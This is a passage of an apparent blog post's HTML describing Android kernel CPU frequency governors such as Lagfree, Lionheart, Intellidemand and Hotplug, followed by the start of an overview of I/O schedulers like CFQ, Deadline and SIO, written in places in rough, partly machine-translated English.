uses different ideal frequencies for screen on and screen off, namely awake_ideal_freq and sleep_ideal_freq. This governor scales down CPU very fast (to hit sleep_ideal_freq soon) while screen is off and scales up rapidly to awake_ideal_freq (500 mhz for GS2 by default) when screen is on. There's no upper limit for frequency while screen is off (unlike Smartass). So the entire frequency range is available for the governor to use during screen-on and screen-off state. The motto of this governor is a balance between performance and battery.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">12: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Scary</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">A new governor wrote based on conservative with some smartass features, it scales accordingly to conservatives laws. So it will start from the bottom, take a load sample, if it's above the upthreshold, ramp up only one speed at a time, and ramp down one at a time. It will automatically cap the off screen speeds to 245Mhz, and if your min freq is higher than 245mhz, it will reset the min to 120mhz while screen is off and restore it upon screen awakening, and still scale accordingly to conservatives laws. So it spends most of its time at lower frequencies. The goal of this is to get the best battery life with decent performance. It will give the same performance as conservative right now, it will get tweaked over time.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">13: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Lagfree</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Lagfree is similar to ondemand. Main difference is it's optimization to become more battery friendly. Frequency is gracefully decreased and increased, unlike ondemand which jumps to 100% too often. Lagfree does not skip any frequency step while scaling up or down. Remember that if there's a requirement for sudden burst of power, lagfree can not satisfy that since it has to raise cpu through each higher frequency step from current. Some users report that video playback using lagfree stutters a little.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">14: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Smoothass</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">The same as the Smartass “governor” But MUCH more aggressive & across the board this one has a better battery life that is about a third better than stock KERNEL</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">15: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Brazilianwax</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Similar to smartassV2. More aggressive ramping, so more performance, less battery</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">16: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">SavagedZen</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Another smartassV2 based governor. Achieves good balance between performance & battery as compared to brazilianwax.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">17: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Lazy</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">This governor from Ezekeel is basically an ondemand with an additional parameter min_time_state to specify the minimum time CPU stays on a frequency before scaling up/down. The Idea here is to eliminate any instabilities caused by fast frequency switching by ondemand. Lazy governor polls more often than ondemand, but changes frequency only after completing min_time_state on a step overriding sampling interval. Lazy also has a screenoff_maxfreq parameter which when enabled will cause the governor to always select the maximum frequency while the screen is off.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">18: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Lionheart</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Lionheart is a conservative-based governor which is based on samsung's update3 source.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">The tunables (such as the thresholds and sampling rate) were changed so the governor behaves more like the performance one, at the cost of battery as the scaling is very aggressive.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">19: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">LionheartX</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">LionheartX is based on Lionheart but has a few changes on the tunables and features a suspend profile based on Smartass governor.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">20: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Intellidemand</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Intellidemand aka Intelligent Ondemand from Faux is yet another governor that's based on ondemand. Unlike what some users believe, this governor is not the replacement for OC Daemon (Having different governors for sleep and awake). The original intellidemand behaves differently according to GPU usage. When GPU is really busy (gaming, maps, benchmarking, etc) intellidemand behaves like ondemand. When GPU is 'idling' (or moderately busy), intellidemand limits max frequency to a step depending on frequencies available in your device/kernel for saving battery. This is called browsing mode. We can see some 'traces' of interactive governor here. Frequency scale-up decision is made based on idling time of CPU. Lower idling time (<20%) causes CPU to scale-up from current frequency. Frequency scale-down happens at steps=5% of max frequency. (This parameter is tunable only in conservative, among the popular governors)</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">To sum up, this is an intelligent ondemand that enters browsing mode to limit max frequency when GPU is idling, and (exits browsing mode) behaves like ondemand when GPU is busy; to deliver performance for gaming and such. Intellidemand does not jump to highest frequency when screen is off.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">21: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Hotplug Governor</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">The “hotplug” governor scales CPU frequency based on load, similar to “ondemand”. It scales up to the highest frequency when “up_threshold” is crossed and scales down one frequency at a time when “down_threshold” is crossed. Unlike those governors, target frequencies are determined by directly accessing the CPUfreq frequency table, instead of taking some percentage of maximum available frequency.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">The key difference in the “hotplug” governor is that it will disable auxillary CPUs when the system is very idle, and enable them again once the system becomes busy. This is achieved by averaging load over multiple sampling periods; if CPUs were online or offlined based on a single sampling period then thrashing will occur.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Sysfs entries exist for “hotplug_in_sampling_periods” and for “hotplug_out_sampling_periods” which determine how many consecutive periods get averaged to determine if auxillery CPUs should be onlined or offlined. Defaults are 5 periods and 20 periods respectively. Otherwise the standard sysfs entries you might find for “ondemand” and “conservative” governors are there.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Obviously, this governor is only available on multi-core devices.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">22: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Wheatley</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">in short words this govenor is build on “ondemand” but increases the C4 state time of the CPU and doing so trying to save juice.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">23: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Lulzactive</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Basically interactive governor with added smartass bits and variable (as opposed to fixed amout) frequency scaling, based on currently occuring cpu loads. Has, like smartass, a sleep profile built-in. See link for details on exact scaling.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">24: </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Abyssplug </b><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">governor is a modified hotplug governor.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">25. </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">BadAss Governor</b><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Badass removes all of this "fast peaking" to the max frequency. On a typical system the cpu won't go above 918Mhz and therefore stay cool and will use less power. To trigger a frequency increase, the system must run a bit @ 918Mhz with high load, then the frequency is bumped to 1188Mhz. If that is still not enough the governor gives you full throttle. (this transition should not take longer than 1-2 seconds, depending on the load your system is experiencing)</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Badass will also take the gpu load into consideration. If the gpu is moderately busy it will bypass the above check and clock the cpu with 1188Mhz. If the gpu is crushed under load, badass will lift the restrictions to the cpu.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">26, </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Ktonnservative</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Ondemand scales to the highest frequency as soon as a load occurs. Conservative scales upward based on the frequency step variable which means for the most part will scale through every frequency to achieve the target load thresholds. What this practically means is ondemand is prone to wasting power on unneeded clock cycles. Ondemand also features something called a down differential, this variable determines how long the governor will remain at the given frequency before scaling down. Conservative does not have this, but instead relies on having a down threshold which insures that as soon as the load drops below a given variable it scales down as fast as the sampling rate allows. The result to this is a governor which attempts to keep the load level tolerable and save you battery! Now ! Ktoonservative Is that but in addition contains a hotpluging variable which determines when the second core comes online. The governor shuts the core off when it returns to the second lowest frequency thus giving us a handle on the second performance factor in our CPUs behavior. While by default conservative is a poor performer it can be made to perform comparably to even performance governor. Here are some settings to discuss and start with. They are slightly less battery friendly under a load but very very well performing.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">27. </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">AssWax</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">So far, all I have found about this Governor is that it belongs in the interactive family. I'll update this when I find more</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">28. </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Sleepy</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">The Sleepy (formerly known as Solo) is an attempt to strike a balance between performance and battery power to create. It is based on the getweakten Ondemand of Arighi and is optimized for the SGS2. It may include imoseyon's Ondemandx with some tweaks Down_sampling and other features that set by the user through the sysfs of "echo" call. Sleepy is the behavior of Ondemandx when he is in action, very similar.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">29. </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Hyper</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">The Hyper (formerly known as kenobi) is an aggressive smart and smooth, optimized for SGS2 getweakt and, based on the Ondemand, which was getweakt of Arighi and was equipped with several features of Ondemandx suspend imoseyon. (Added by sysfs, the settings suspend_freq and suspend Imoseyon's code) is the behavior of the hyper Ondemand if he is in action, very similar. He also has the Arighi's fast_start deep_sleep and detection features. In addition, the maximum frequency is in suspend mode 500Mhz.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">30. </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Zen</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Well, the question that was asked above led me to an analysis of V(R ), deadline, and some others. I already knew, but realized "this is the main feature of V®, but wait it has no benefit to us smartphone users." So I thought about adjusting the way V(R ) handled requests and how it dispatched them (I chose V(R ) because i'd rather not tinker with a scheduler thats official and widely supported). Then I was looking over it, and realized I might as well just write a new one I don't need any of this stuff. So I came up with something awfully similar to SIO, although its a bit simpler than SIO (closer to no-op) and works just slightly different.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- It's an FCFS (First come, first serve) based algorithm. It's not strictly FIFO. It does not do any sorting. It uses deadlines for fairness, and treats synchronous requests with priority over asynchronous ones. Other than that, pretty much the same as no-op.</span></span></div>
<div>
<span style="background-color: black; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;"><span style="color: cyan;"><br /></span></span></div>
<div>
<span style="background-color: black; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;"><span style="color: cyan;"><br /></span></span></div>
<div>
<span style="background-color: black; color: cyan;"><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: small;"><b style="-webkit-box-shadow: none !important;">What is a scheduler? </b></span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">In a multitasking operating system, there must be an instance, the processes that want to run, CPU time and allocates it "goes to sleep" after the allotted time (timeslice) again. This instance is called the scheduler, such as opening and closing applications. that is, how fast they are open and how long they are kept in RAM.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">I/O scheduler can have many purposes like:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">To minimize time searching on the hard disk</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Set priorities for specific process requests</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">To regulate a particular portion of the bandwidth of the data carrier to each running process</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">To guarantee certain process requests within a certain time</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Which scheduler are available? </b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /></span><ol class="decimal" style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px; margin: 0px 40px; padding: 0px;">
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">CFQ</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Deadline</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">VR</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Simple</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Noop</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Anticipatory</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">BFQ</span></li>
<li style="-webkit-box-shadow: none !important; list-style: decimal outside; margin: 0px; padding: 0px;"><span style="background-color: black; color: cyan;">Sio</span></li>
</ol>
<span style="background-color: black; color: cyan;"><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: small;">CFQ:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">The CFQ - Completely Fair Queuing - similar to the Dead Line maintains a scalable continuous Prozess-I/O-Warteschlange, ie the available I / O bandwidth tried fairly and evenly to all I / O requests to distribute. He created a statistics between blocks and processes. With these statistics it can "guess" when the next block is requested by what process, ie each process queue contains requests of synchronous processes, which in turn is dependent upon the priority of the original process. There is a V2 and the CFQ has some fixes, such as were the I / O request, hunger, and some small search backward integrated to improve the responsiveness.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Benefits:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Has the goal of a balanced I / O performance to deliver</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- The easiest way to set</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, 